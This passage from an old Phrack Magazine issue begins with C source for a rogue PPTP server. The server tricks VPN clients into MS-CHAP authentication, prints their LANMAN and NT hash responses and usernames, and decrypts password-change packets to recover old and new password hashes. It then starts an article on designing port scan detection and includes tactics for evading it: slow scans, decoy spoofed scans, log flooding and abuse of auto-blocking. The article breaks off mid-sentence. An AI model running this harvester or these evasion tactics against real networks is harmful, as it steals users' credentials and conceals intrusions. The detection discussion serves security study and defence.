|
|||
|
if (ntoh32(p.h.magic) != 0x1A2B3C4D) { printf("Bad magic.\n"); exit(1); }
|
|||
|
if (ntoh16(p.h.pptp_type) != 1) {printf("Not a control message.\n");exit(1);}
|
|||
|
|
|||
|
type = ntoh16(p.h.ctrl_type);
|
|||
|
switch(type)
|
|||
|
{
|
|||
|
/* we got a live one */
|
|||
|
case PPTP_START_CTRL_CONN_RQST:
|
|||
|
send_start_ctrl_conn_rply();
|
|||
|
break;
|
|||
|
case PPTP_OUT_CALL_RQST:
|
|||
|
send_out_call_rply((struct pptp_out_call_rqst *)&p, sa);
|
|||
|
break;
|
|||
|
case PPTP_SET_LINK_INFO:
|
|||
|
printf("<- PPTP Set Link Info\n");
|
|||
|
break;
|
|||
|
default:
|
|||
|
printf("<- PPTP unknown packet: %d\n", type);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
void send_start_ctrl_conn_rply()
|
|||
|
{
|
|||
|
struct pptp_start_ctrl_conn p;
|
|||
|
int len, hlen;
|
|||
|
|
|||
|
hlen = sizeof(struct pptp_start_ctrl_conn);
|
|||
|
|
|||
|
printf("<- PPTP Start Control Connection Request\n");
|
|||
|
printf("-> PPTP Start Control Connection Reply\n");
|
|||
|
|
|||
|
bzero((char *)&p, hlen);
|
|||
|
p.header.length = hton16(hlen);
|
|||
|
p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL);
|
|||
|
p.header.magic = hton32(PPTP_MAGIC);
|
|||
|
p.header.ctrl_type = hton16(PPTP_START_CTRL_CONN_RPLY);
|
|||
|
p.version = hton16(PPTP_VERSION);
|
|||
|
p.result_code = 1;
|
|||
|
p.framing_cap = hton32(PPTP_FRAME_ASYNC); /* whatever */
|
|||
|
p.bearer_cap = hton32(PPTP_BEARER_ANALOG); /* ditto */
|
|||
|
bcopy("owned", p.hostname, 5);
|
|||
|
bcopy("r00t", p.vendor, 4);
|
|||
|
|
|||
|
len = write(sd, &p, hlen);
|
|||
|
if (len == -1) { perror(n); exit(1); }
|
|||
|
if (len != hlen) { printf("Short write.\n"); exit(1); }
|
|||
|
}
|
|||
|
|
|||
|
static gre = 0;
|
|||
|
|
|||
|
void send_out_call_rply(struct pptp_out_call_rqst *r, struct sockaddr_in *sa)
|
|||
|
{
|
|||
|
struct pptp_out_call_rply p;
|
|||
|
int len, hlen;
|
|||
|
|
|||
|
hlen = sizeof(struct pptp_out_call_rply);
|
|||
|
|
|||
|
printf("<- PPTP Outgoing Call Request\n");
|
|||
|
printf("-> PPTP Outgoing Call Reply\n");
|
|||
|
|
|||
|
pptp_gre_call_id = r->call_id;
|
|||
|
|
|||
|
/* Start a process to handle the GRE/PPP packets */
|
|||
|
if (!gre)
|
|||
|
{
|
|||
|
gre = 1;
|
|||
|
switch((pid = fork()))
|
|||
|
{
|
|||
|
case -1:
|
|||
|
perror(n);
|
|||
|
exit(1);
|
|||
|
|
|||
|
case 0:
|
|||
|
close(sd);
|
|||
|
do_gre(sa);
|
|||
|
exit(1); /* not reached */
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
bzero((char *)&p, hlen);
|
|||
|
p.header.length = hton16(hlen);
|
|||
|
p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL);
|
|||
|
p.header.magic = hton32(PPTP_MAGIC);
|
|||
|
p.header.ctrl_type = hton16(PPTP_OUT_CALL_RPLY);
|
|||
|
p.call_id = hton16(31337);
|
|||
|
p.call_id_peer = r->call_id;
|
|||
|
p.result_code = 1;
|
|||
|
p.speed = hton32(28800);
|
|||
|
p.recv_size = hton16(5); /* whatever */
|
|||
|
p.delay = hton16(50); /* whatever */
|
|||
|
p.channel = hton32(31337);
|
|||
|
|
|||
|
len = write(sd, &p, hlen);
|
|||
|
if (len == -1) { perror(n); exit(1); }
|
|||
|
if (len != hlen) { printf("Short write.\n"); exit(1); }
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
struct sockaddr_in src_addr;
|
|||
|
|
|||
|
void do_gre(struct sockaddr_in *sa)
|
|||
|
{
|
|||
|
#ifndef BROKEN_RAW_CONNECT
|
|||
|
struct sockaddr_in src_addr;
|
|||
|
#endif
|
|||
|
int s, n, stat;
|
|||
|
|
|||
|
/* Open IP protocol socket */
|
|||
|
rsd = socket(AF_INET, SOCK_RAW, PPTP_PROTO);
|
|||
|
if (rsd<0) { perror("gre"); exit(1); }
|
|||
|
src_addr.sin_family = AF_INET;
|
|||
|
src_addr.sin_addr = sa->sin_addr;
|
|||
|
src_addr.sin_port = 0;
|
|||
|
|
|||
|
#ifndef BROKEN_RAW_CONNECT
|
|||
|
if (connect(rsd, (struct sockaddr *) &src_addr, sizeof(src_addr))<0) {
|
|||
|
perror("gre"); exit(1);
|
|||
|
}
|
|||
|
#endif
|
|||
|
|
|||
|
ack_sent = ack_recv = seq_sent = seq_recv = 0;
|
|||
|
stat=0;
|
|||
|
|
|||
|
/* Dispatch loop */
|
|||
|
while (stat>=0) { /* until error happens on s */
|
|||
|
struct timeval tv = {0, 0}; /* non-blocking select */
|
|||
|
fd_set rfds;
|
|||
|
int retval;
|
|||
|
|
|||
|
n = rsd + 1;
|
|||
|
FD_ZERO(&rfds);
|
|||
|
FD_SET(rsd, &rfds);
|
|||
|
|
|||
|
/* if there is a pending ACK, do non-blocking select */
|
|||
|
if (ack_sent!=seq_recv)
|
|||
|
retval = select(n, &rfds, NULL, NULL, &tv);
|
|||
|
else /* otherwise, block until data is available */
|
|||
|
retval = select(n, &rfds, NULL, NULL, NULL);
|
|||
|
if (retval==0 && ack_sent!=seq_recv) /* if outstanding ack */
|
|||
|
encaps_gre(NULL, 0); /* send ack with no payload */
|
|||
|
if (FD_ISSET(rsd, &rfds)) /* data waiting on socket */
|
|||
|
stat=decaps_gre(do_ppp);
|
|||
|
}
|
|||
|
|
|||
|
/* Close up when done. */
|
|||
|
close(rsd);
|
|||
|
}
|
|||
|
|
|||
|
int decaps_gre (int (*cb)(void *pack, unsigned len)) {
|
|||
|
unsigned char buffer[PACKET_MAX+64/*ip header*/];
|
|||
|
struct pptp_gre_header *header;
|
|||
|
int status, ip_len=0;
|
|||
|
|
|||
|
if((status=read(rsd, buffer, sizeof(buffer)))<0)
|
|||
|
{perror("gre"); exit(1); }
|
|||
|
/* strip off IP header, if present */
|
|||
|
if ((buffer[0]&0xF0)==0x40)
|
|||
|
ip_len = (buffer[0]&0xF)*4;
|
|||
|
header = (struct pptp_gre_header *)(buffer+ip_len);
|
|||
|
|
|||
|
/* verify packet (else discard) */
|
|||
|
if (((ntoh8(header->ver)&0x7F)!=PPTP_GRE_VER) || /* version should be 1 */
|
|||
|
(ntoh16(header->protocol)!=PPTP_GRE_PROTO)|| /* GRE protocol for PPTP */
|
|||
|
PPTP_GRE_IS_C(ntoh8(header->flags)) || /* flag C should be clear */
|
|||
|
PPTP_GRE_IS_R(ntoh8(header->flags)) || /* flag R should be clear */
|
|||
|
(!PPTP_GRE_IS_K(ntoh8(header->flags))) || /* flag K should be set */
|
|||
|
((ntoh8(header->flags)&0xF)!=0)) { /* routing and recursion ctrl = 0 */
|
|||
|
/* if invalid, discard this packet */
|
|||
|
printf("Discarding GRE: %X %X %X %X %X %X",
|
|||
|
ntoh8(header->ver)&0x7F, ntoh16(header->protocol),
|
|||
|
PPTP_GRE_IS_C(ntoh8(header->flags)),
|
|||
|
PPTP_GRE_IS_R(ntoh8(header->flags)),
|
|||
|
PPTP_GRE_IS_K(ntoh8(header->flags)),
|
|||
|
ntoh8(header->flags)&0xF);
|
|||
|
return 0;
|
|||
|
}
|
|||
|
if (PPTP_GRE_IS_A(ntoh8(header->ver))) { /* acknowledgement present */
|
|||
|
u_int32_t ack = (PPTP_GRE_IS_S(ntoh8(header->flags)))?
|
|||
|
header->ack:header->seq; /* ack in different place if S=0 */
|
|||
|
if (ack > ack_recv) ack_recv = ack;
|
|||
|
/* also handle sequence number wrap-around (we're cool!) */
|
|||
|
if (((ack>>31)==0)&&((ack_recv>>31)==1)) ack_recv=ack;
|
|||
|
}
|
|||
|
if (PPTP_GRE_IS_S(ntoh8(header->flags))) { /* payload present */
|
|||
|
unsigned headersize = sizeof(*header);
|
|||
|
unsigned payload_len= ntoh16(header->payload_len);
|
|||
|
u_int32_t seq = ntoh32(header->seq);
|
|||
|
if (!PPTP_GRE_IS_A(ntoh8(header->ver))) headersize-=sizeof(header->ack);
|
|||
|
/* check for incomplete packet (length smaller than expected) */
|
|||
|
if (status-headersize<payload_len) {
|
|||
|
printf("incomplete packet\n");
|
|||
|
return 0;
|
|||
|
}
|
|||
|
/* check for out-of-order sequence number */
|
|||
|
/* (handle sequence number wrap-around, cuz we're cool) */
|
|||
|
if ((seq > seq_recv) ||
|
|||
|
(((seq>>31)==0) && (seq_recv>>31)==1)) {
|
|||
|
seq_recv = seq;
|
|||
|
|
|||
|
return cb(buffer+ip_len+headersize, payload_len);
|
|||
|
} else {
|
|||
|
printf("discarding out-of-order\n");
|
|||
|
return 0; /* discard out-of-order packets */
|
|||
|
}
|
|||
|
}
|
|||
|
return 0; /* ack, but no payload */
|
|||
|
}
|
|||
|
|
|||
|
int encaps_gre (void *pack, unsigned len) {
|
|||
|
union {
|
|||
|
struct pptp_gre_header header;
|
|||
|
unsigned char buffer[PACKET_MAX+sizeof(struct pptp_gre_header)];
|
|||
|
} u;
|
|||
|
static u_int32_t seq=0;
|
|||
|
unsigned header_len;
|
|||
|
int out;
|
|||
|
|
|||
|
/* package this up in a GRE shell. */
|
|||
|
u.header.flags = hton8 (PPTP_GRE_FLAG_K);
|
|||
|
u.header.ver = hton8 (PPTP_GRE_VER);
|
|||
|
u.header.protocol = hton16(PPTP_GRE_PROTO);
|
|||
|
u.header.payload_len = hton16(len);
|
|||
|
u.header.call_id = hton16(pptp_gre_call_id);
|
|||
|
|
|||
|
/* special case ACK with no payload */
|
|||
|
if (pack==NULL)
|
|||
|
if (ack_sent != seq_recv) {
|
|||
|
u.header.ver |= hton8(PPTP_GRE_FLAG_A);
|
|||
|
u.header.payload_len = hton16(0);
|
|||
|
u.header.seq = hton32(seq_recv); /* ack is in odd place because S=0 */
|
|||
|
ack_sent = seq_recv;
|
|||
|
#ifndef BROKEN_RAW_CONNCET
|
|||
|
return write(rsd, &u.header, sizeof(u.header)-sizeof(u.header.seq));
|
|||
|
#else
|
|||
|
return sendto(rsd, &u.header, sizeof(u.header)-sizeof(u.header.seq), 0,
|
|||
|
(struct sockaddr *) &src_addr, sizeof(src_addr));
|
|||
|
#endif
|
|||
|
} else return 0; /* we don't need to send ACK */
|
|||
|
/* send packet with payload */
|
|||
|
u.header.flags |= hton8(PPTP_GRE_FLAG_S);
|
|||
|
u.header.seq = hton32(seq);
|
|||
|
if (ack_sent != seq_recv) { /* send ack with this message */
|
|||
|
u.header.ver |= hton8(PPTP_GRE_FLAG_A);
|
|||
|
u.header.ack = hton32(seq_recv);
|
|||
|
ack_sent = seq_recv;
|
|||
|
header_len = sizeof(u.header);
|
|||
|
} else { /* don't send ack */
|
|||
|
header_len = sizeof(u.header) - sizeof(u.header.ack);
|
|||
|
}
|
|||
|
if (header_len+len>=sizeof(u.buffer)) return 0; /* drop this, it's too big */
|
|||
|
/* copy payload into buffer */
|
|||
|
memcpy(u.buffer+header_len, pack, len);
|
|||
|
/* record and increment sequence numbers */
|
|||
|
seq_sent = seq; seq++;
|
|||
|
/* write this baby out to the net */
|
|||
|
#ifndef BROKEN_RAW_CONNECT
|
|||
|
return write(rsd, u.buffer, header_len+len);
|
|||
|
#else
|
|||
|
return sendto(rsd, &u.buffer, header_len+len, 0,
|
|||
|
(struct sockaddr *) &src_addr, sizeof(src_addr));
|
|||
|
#endif
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
int do_ppp(void *pack, unsigned len)
|
|||
|
{
|
|||
|
struct {
|
|||
|
struct ppp_header ppp;
|
|||
|
struct ppp_lcp_chap_header header;
|
|||
|
} *p;
|
|||
|
|
|||
|
p = pack;
|
|||
|
|
|||
|
switch(ntoh16(p->ppp.proto))
|
|||
|
{
|
|||
|
case PPP_PROTO_LCP:
|
|||
|
switch(ntoh8(p->header.code))
|
|||
|
{
|
|||
|
case PPP_LCP_CODE_CONF_RQST:
|
|||
|
printf("<- LCP Configure Request\n");
|
|||
|
send_lcp_conf_rply(pack);
|
|||
|
send_lcp_conf_rqst();
|
|||
|
break;
|
|||
|
case PPP_LCP_CODE_CONF_ACK:
|
|||
|
printf("<- LCP Configure Ack\n");
|
|||
|
send_chap_challenge(pack);
|
|||
|
|
|||
|
break;
|
|||
|
case PPP_LCP_CODE_IDENT:
|
|||
|
/* ignore */
|
|||
|
break;
|
|||
|
default:
|
|||
|
printf("<- LCP unknown packet: C=%X I=%X L=%X\n", p->header.code,
|
|||
|
p->header.ident, ntoh16(p->header.length));
|
|||
|
}
|
|||
|
break;
|
|||
|
case PPP_PROTO_CHAP:
|
|||
|
switch(ntoh8(p->header.code))
|
|||
|
{
|
|||
|
case PPP_CHAP_CODE_RESPONCE:
|
|||
|
printf("<- CHAP Responce\n");
|
|||
|
print_challenge_responce(pack);
|
|||
|
send_chap_failure();
|
|||
|
break;
|
|||
|
case PPP_CHAP_CODE_MSCHAP_PASSWORD_V1:
|
|||
|
paydirt(pack);
|
|||
|
break;
|
|||
|
default:
|
|||
|
printf("<- CHAP unknown packet: C=%X I=%X L=%X\n", p->header.code,
|
|||
|
p->header.ident, ntoh16(p->header.length));
|
|||
|
}
|
|||
|
break;
|
|||
|
default:
|
|||
|
printf("<- PPP unknwon packet: %X\n", ntoh16(p->ppp.proto));
|
|||
|
}
|
|||
|
|
|||
|
return(1);
|
|||
|
}
|
|||
|
|
|||
|
void send_lcp_conf_rply(void *pack)
|
|||
|
{
|
|||
|
struct {
|
|||
|
struct ppp_header ppp;
|
|||
|
struct ppp_lcp_chap_header lcp;
|
|||
|
} *p = pack;
|
|||
|
|
|||
|
printf("-> LCP Configure Ack\n");
|
|||
|
|
|||
|
p->lcp.code = hton8(PPP_LCP_CODE_CONF_ACK);
|
|||
|
encaps_gre(p, ntoh16(p->lcp.length) + sizeof(struct ppp_header));
|
|||
|
}
|
|||
|
|
|||
|
void send_lcp_conf_rqst()
|
|||
|
{
|
|||
|
struct {
|
|||
|
struct ppp_header ppp;
|
|||
|
struct ppp_lcp_chap_header lcp;
|
|||
|
struct ppp_lcp_chap_auth_option auth;
|
|||
|
} pkt;
|
|||
|
|
|||
|
printf("-> LCP Configure Request\n");
|
|||
|
|
|||
|
bzero(&pkt, sizeof(pkt));
|
|||
|
pkt.ppp.address = hton8(PPP_ADDRESS);
|
|||
|
pkt.ppp.control = hton8(PPP_CONTROL);
|
|||
|
pkt.ppp.proto = hton16(PPP_PROTO_LCP);
|
|||
|
pkt.lcp.code = hton8(PPP_LCP_CODE_CONF_RQST);
|
|||
|
pkt.lcp.ident = hton8(9);
|
|||
|
pkt.lcp.length = hton16(4 +5);
|
|||
|
pkt.auth.type = hton8(PPP_LCP_CONFIG_OPT_AUTH);
|
|||
|
pkt.auth.length = hton8(5);
|
|||
|
pkt.auth.auth_proto = hton16(PPP_PROTO_CHAP);
|
|||
|
pkt.auth.algorithm = hton8(PPP_LCP_AUTH_CHAP_ALGO_MSCHAP);
|
|||
|
|
|||
|
encaps_gre(&pkt, 13);
|
|||
|
}
|
|||
|
|
|||
|
void send_chap_challenge()
|
|||
|
{
|
|||
|
struct {
|
|||
|
struct ppp_header ppp;
|
|||
|
struct ppp_lcp_chap_header chap;
|
|||
|
struct ppp_chap_challenge challenge;
|
|||
|
} pkt;
|
|||
|
|
|||
|
printf("-> CHAP Challenge\n");
|
|||
|
|
|||
|
bzero(&pkt, sizeof(pkt));
|
|||
|
pkt.ppp.address = hton8(PPP_ADDRESS);
|
|||
|
pkt.ppp.control = hton8(PPP_CONTROL);
|
|||
|
pkt.ppp.proto = hton16(PPP_PROTO_CHAP);
|
|||
|
pkt.chap.code = hton8(PPP_CHAP_CODE_CHALLENGE);
|
|||
|
pkt.chap.length = hton16(13);
|
|||
|
pkt.challenge.size = hton8(8);
|
|||
|
|
|||
|
encaps_gre(&pkt, 4 + 13);
|
|||
|
}
|
|||
|
|
|||
|
void print_challenge_responce(void *pack)
|
|||
|
{
|
|||
|
unsigned char name[512], *c;
|
|||
|
int len;
|
|||
|
struct {
|
|||
|
struct ppp_header ppp;
|
|||
|
struct ppp_lcp_chap_header chap;
|
|||
|
struct ppp_chap_challenge responce;
|
|||
|
} *p;
|
|||
|
|
|||
|
p = pack;
|
|||
|
|
|||
|
c = p->responce.value.responce.lanman;
|
|||
|
printf(" LANMAN Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
|
|||
|
c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
|
|||
|
c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
|
|||
|
c[22], c[23]);
|
|||
|
c = p->responce.value.responce.nt;
|
|||
|
printf(" NTHash Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
|
|||
|
c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
|
|||
|
c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
|
|||
|
c[22], c[23]);
|
|||
|
printf(" Use NT hash: %d\n", p->responce.value.responce.flag);
|
|||
|
|
|||
|
|
|||
|
bzero(name, 512);
|
|||
|
len = ntoh16(p->chap.length) - 54;
|
|||
|
bcopy(((char *)p) + 4 + 54, name, len);
|
|||
|
name[len] = '\0';
|
|||
|
printf(" User: %s\n", name);
|
|||
|
}
|
|||
|
|
|||
|
void send_chap_failure()
|
|||
|
{
|
|||
|
struct {
|
|||
|
struct ppp_header ppp;
|
|||
|
struct ppp_lcp_chap_header chap;
|
|||
|
char message[64];
|
|||
|
} pkt;
|
|||
|
|
|||
|
printf("-> CHAP Failure\n");
|
|||
|
|
|||
|
bzero(&pkt, sizeof(pkt));
|
|||
|
pkt.ppp.address = hton8(PPP_ADDRESS);
|
|||
|
pkt.ppp.control = hton8(PPP_CONTROL);
|
|||
|
pkt.ppp.proto = hton16(PPP_PROTO_CHAP);
|
|||
|
pkt.chap.code = hton8(PPP_CHAP_CODE_FAILURE);
|
|||
|
pkt.chap.length = hton16(4 + strlen(MSCHAP_ERROR));
|
|||
|
strncpy(pkt.message, MSCHAP_ERROR, strlen(MSCHAP_ERROR));
|
|||
|
|
|||
|
encaps_gre(&pkt, 4 + 4 + strlen(MSCHAP_ERROR));
|
|||
|
}
|
|||
|
|
|||
|
extern int des_check_key;
|
|||
|
|
|||
|
void paydirt(void *pack)
|
|||
|
{
|
|||
|
unsigned char out[8], out2[8], key[8];
|
|||
|
struct {
|
|||
|
struct ppp_header ppp;
|
|||
|
struct ppp_lcp_chap_header chap;
|
|||
|
struct ppp_mschap_change_password passwds;
|
|||
|
} *pkt;
|
|||
|
des_key_schedule ks;
|
|||
|
|
|||
|
pkt = pack;
|
|||
|
bzero(key, 8);
|
|||
|
|
|||
|
printf("<- MSCHAP Change Password Version 1 Packet.\n");
|
|||
|
|
|||
|
/* Turn off checking for weak keys within libdes */
|
|||
|
des_check_key=0;
|
|||
|
des_set_odd_parity((des_cblock *)key);
|
|||
|
des_set_key((des_cblock *)key, ks);
|
|||
|
|
|||
|
des_ecb_encrypt((des_cblock *)pkt->passwds.old_lanman,(des_cblock *) out, ks, 0);
|
|||
|
des_ecb_encrypt((des_cblock *)(pkt->passwds.old_lanman + 8), (des_cblock *)out2, ks, 0);
|
|||
|
printf(" Old LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
|
|||
|
out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
|
|||
|
out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
|
|||
|
|
|||
|
des_ecb_encrypt((des_cblock *)pkt->passwds.new_lanman,(des_cblock *) out, ks, 0);
|
|||
|
des_ecb_encrypt((des_cblock *)(pkt->passwds.new_lanman + 8), (des_cblock *)out2, ks, 0);
|
|||
|
printf(" New LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
|
|||
|
out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
|
|||
|
out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
|
|||
|
|
|||
|
des_ecb_encrypt((des_cblock *)pkt->passwds.old_nt,(des_cblock *) out, ks, 0);
|
|||
|
des_ecb_encrypt((des_cblock *)(pkt->passwds.old_nt + 8), (des_cblock *)out2, ks, 0);
|
|||
|
printf(" Old NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
|
|||
|
out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
|
|||
|
out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
|
|||
|
|
|||
|
des_ecb_encrypt((des_cblock *)pkt->passwds.new_nt,(des_cblock *) out, ks, 0);
|
|||
|
des_ecb_encrypt((des_cblock *)(pkt->passwds.new_nt + 8), (des_cblock *)out2, ks, 0);
|
|||
|
printf(" New NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
|
|||
|
out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
|
|||
|
out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
|
|||
|
|
|||
|
printf(" New Password Length: %d\n", ntoh16(pkt->passwds.pass_length));
|
|||
|
|
|||
|
kill(pid, SIGTERM);
|
|||
|
exit(0);
|
|||
|
}
|
|||
|
<-->
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 13 of 15
|
|||
|
|
|||
|
|
|||
|
-------------------------[ Designing and Attacking Port Scan Detection Tools
|
|||
|
|
|||
|
|
|||
|
--------[ solar designer <solar@false.com>
|
|||
|
|
|||
|
|
|||
|
----[ Introduction
|
|||
|
|
|||
|
The purpose of this article is to show potential problems with intrusion
|
|||
|
detection systems (IDS), concentrating on one simple attack: port scans.
|
|||
|
|
|||
|
This lets me cover all components of such a simplified IDS. Also, unlike
|
|||
|
the great SNI paper (http://www.secnet.com/papers/IDS.PS), this article
|
|||
|
is not limited to network-based tools. In fact, the simple and hopefully
|
|||
|
reliable example port scan detection tool ("scanlogd") that you'll find
|
|||
|
at the end is host-based.
|
|||
|
|
|||
|
|
|||
|
----[ What Can We Detect?
|
|||
|
|
|||
|
A port scan involves an attacker trying many destination ports, usually
|
|||
|
including some that turn out not to be listening. One "signature" that
|
|||
|
could be used for detecting port scans is "several packets to different
|
|||
|
destination ports from the same source address within a short period of
|
|||
|
time". Another such signature could be "SYN to a non-listening port".
|
|||
|
Obviously, there are many other ways to detect port scans, up to dumping
|
|||
|
all the packet headers to a file and analyzing them manually (ouch).
|
|||
|
|
|||
|
All of these different methods have their own advantages and disadvantages,
|
|||
|
resulting in different numbers of "false positives" and "false negatives".
|
|||
|
Now, let me show that, for this particular attack type, it is always possible
|
|||
|
for an attacker to make her attack either very unlikely to be noticed, or very
|
|||
|
unlikely to be traced to its real origin, while still being able to obtain
|
|||
|
the port number information.
|
|||
|
|
|||
|
To obscure the attack, an attacker could do the scan very slowly. Unless the
|
|||
|
target system is normally idle (in which case one packet to a non-listening
|
|||
|
port is enough for the admin to notice, not a likely real world situation),
|
|||
|
it is possible to make the delay between ports large enough for this to be
|
|||
|
likely not recognized as a scan.
|
|||
|
|
|||
|
A way to hide the origin of a scan, while still receiving the information,
|
|||
|
is to send a large amount (say, 999) of spoofed "port scans", and only on
|
|||
|
scan from the real source address. Even if all the scans (1000 of them) are
|
|||
|
detected and logged, there's no way to tell which of the source addresses is
|
|||
|
real. All we can tell is that we've been port scanned.
|
|||
|
|
|||
|
Note that, while these attacks are possible, they obviously require more
|
|||
|
resources from the attacker to perform. Some attackers will likely choose
|
|||
|
not to use such complicated and/or slow attacks, and others will have to
|
|||
|
pay with their time. This alone is enough reason to still detect at least
|
|||
|
some port scans (the ones that are detectable).
|
|||
|
|
|||
|
The possibility of such attacks means that our goal is not to detect all
|
|||
|
port scans (which is impossible), but instead, in my opinion, to detect
|
|||
|
as many port scan kinds as possible while still being reliable enough.
|
|||
|
|
|||
|
|
|||
|
----[ What Information Can We Trust?
|
|||
|
|
|||
|
Obviously, the source address can be spoofed, so we can't trust it unless
|
|||
|
other evidence is available. However, port scanners sometimes leak extra
|
|||
|
information that can be used to tell something about the real origin of a
|
|||
|
spoofed port scan.
|
|||
|
|
|||
|
For example, if the packets we receive have an IP TTL of 255 at our end, we
|
|||
|
know for sure that they're being sent from our local network regardless of
|
|||
|
what the source address field says. However, if TTL is 250, we can only tell
|
|||
|
that the attacker was no more than 5 hops away, we can't tell how far exactly
|
|||
|
she was for sure.
|
|||
|
|
|||
|
Starting TTL and source port number(s) can also give us a hint of what
|
|||
|
port scanner type (for "stealth" scans) or operating system (for full TCP
|
|||
|
connection scans) is used by the attacker. We can never be sure though.
|
|||
|
For example, nmap sets TTL to 255 and source port to 49724, while Linux
|
|||
|
kernel sets TTL to 64.
|
|||
|
|
|||
|
|
|||
|
----[ Information Source (E-box) Choice
|
|||
|
|
|||
|
For detecting TCP port scans, including "stealth" ones, we need access
|
|||
|
to raw IP and TCP packet headers.
|
|||
|
|
|||
|
In a network-based IDS, we would use promiscuous mode for obtaining the
|
|||
|
raw packets. This has all the problems described in the SNI paper: both
|
|||
|
false positives and false negatives are possible. However, sometimes
|
|||
|
this might be acceptable for this attack type since it is impossible to
|
|||
|
detect all port scans anyway.
|
|||
|
|
|||
|
For a host-based IDS, there are two major ways of obtaining the packets:
|
|||
|
reading from a raw TCP or IP socket, or getting the data directly inside
|
|||
|
the kernel (via a loadable module or a kernel patch).
|
|||
|
|
|||
|
When using a raw TCP socket, most of the problems pointed out by SNI do
|
|||
|
not apply: we are only getting the packets recognized by our own kernel.
|
|||
|
However, this is still passive analysis (we might miss packets) and a
|
|||
|
fail-open system. While probably acceptable for port scans only, this
|
|||
|
is not a good design if we later choose to detect other attacks. If we
|
|||
|
used a raw IP socket instead (some systems don't have raw TCP sockets),
|
|||
|
we would have more of the "SNI problems" again. Anyway, in my example
|
|||
|
code, I'm using a raw TCP socket.
|
|||
|
|
|||
|
The most reliable IDS is one with some support from the target systems
|
|||
|
kernel. This has access to all the required information, and can even be
|
|||
|
fail-close. The obvious disadvantage is that kernel modules and patches
|
|||
|
aren't very portable.
|
|||
|
|
|||
|
|
|||
|
----[ Attack Signature (A-box) Choice
|
|||
|
|
|||
|
It has already been mentioned above that different signatures can be
|
|||
|
used to detect port scans; they differ by numbers of false positives
|
|||
|
and false negatives. The attack signature that we choose should keep
|
|||
|
false positives as low as possible while still keeping false negatives
|
|||
|
reasonably low. It is however not obvious what to consider reasonable.
|
|||
|
In my opinion, this should depend on the severity of the attack we're
|
|||
|
detecting (the cost of a false negative), and on the actions taken for
|
|||
|
a detected attack (the cost of a false positive). Both of these costs
|
|||
|
can differ from site to site, so an IDS should be user-tunable.
|
|||
|
|
|||
|
For scanlogd, I'm using the following attack signature: "at least COUNT
|
|||
|
ports need to be scanned from the same source address, with no longer
|
|||
|
than DELAY ticks between ports". Both COUNT and DELAY are configurable.
|
|||
|
A TCP port is considered to be scanned when receiving a packet without
|
|||
|
the ACK bit set.
|
|||
|
|
|||
|
|
|||
|
----[ Logging the Results (D-box)
|
|||
|
|
|||
|
Regardless of where we write our logs (a disk file, a remote system, or
|
|||
|
maybe even a printer), our space is limited. When storage is full, results
|
|||
|
will get lost. Most likely, either the logging stops, or old entries get
|
|||
|
replaced with newer ones.
|
|||
|
|
|||
|
An obvious attack is to fill up the logs with unimportant information,
|
|||
|
and then do the real attack with the IDS effectively disabled. For the
|
|||
|
port scans example, spoofed "port scans" could be used to fill up the
|
|||
|
logs, and the real attack could be a real port scan, possibly followed
|
|||
|
by a breakin. This example shows how a badly coded port scan detection
|
|||
|
tool could be used to avoid logging of the breakin attempt, which would
|
|||
|
get logged if the tool wasn't running.
|
|||
|
|
|||
|
One solution for this problem would be to put rate limits (say, no more
|
|||
|
than 5 messages per 20 seconds) on every attack type separately, and,
|
|||
|
when the limit is reached, log this fact, and temporarily stop logging
|
|||
|
of attacks of this type. For attack types that can't be spoofed, such
|
|||
|
limits could be put per source address instead. Since port scans can be
|
|||
|
spoofed, this still lets an attacker not reveal her real address, but
|
|||
|
this doesn't let her hide another attack type this way, like she could
|
|||
|
do if we didn't implement the rate limits... that's life. This is what
|
|||
|
I implemented in scanlogd.
|
|||
|
|
|||
|
Another solution, which has similar advantages and disadvantages, is to
|
|||
|
allocate space for messages from every attack type separately. Both of
|
|||
|
these solutions can be implemented simultaneously.
|
|||
|
|
|||
|
|
|||
|
----[ What To Do About Port Scans? (R-box)
|
|||
|
|
|||
|
Some IDS are capable of responding to attacks they detect. The actions
|
|||
|
are usually directed to prevent further attacks and/or to obtain extra
|
|||
|
information about the attacker. Unfortunately, these features can often
|
|||
|
be abused by a smart attacker.
|
|||
|
|
|||
|
A typical action is to block the attacking host (re-configuring access
|
|||
|
lists of the firewall, or similar). This leads to an obvious Denial of
|
|||
|
Service (DoS) vulnerability if the attack we're detecting is spoofable
|
|||
|
(like a port scan is). It is probably less obvious that this leads to DoS
|
|||
|
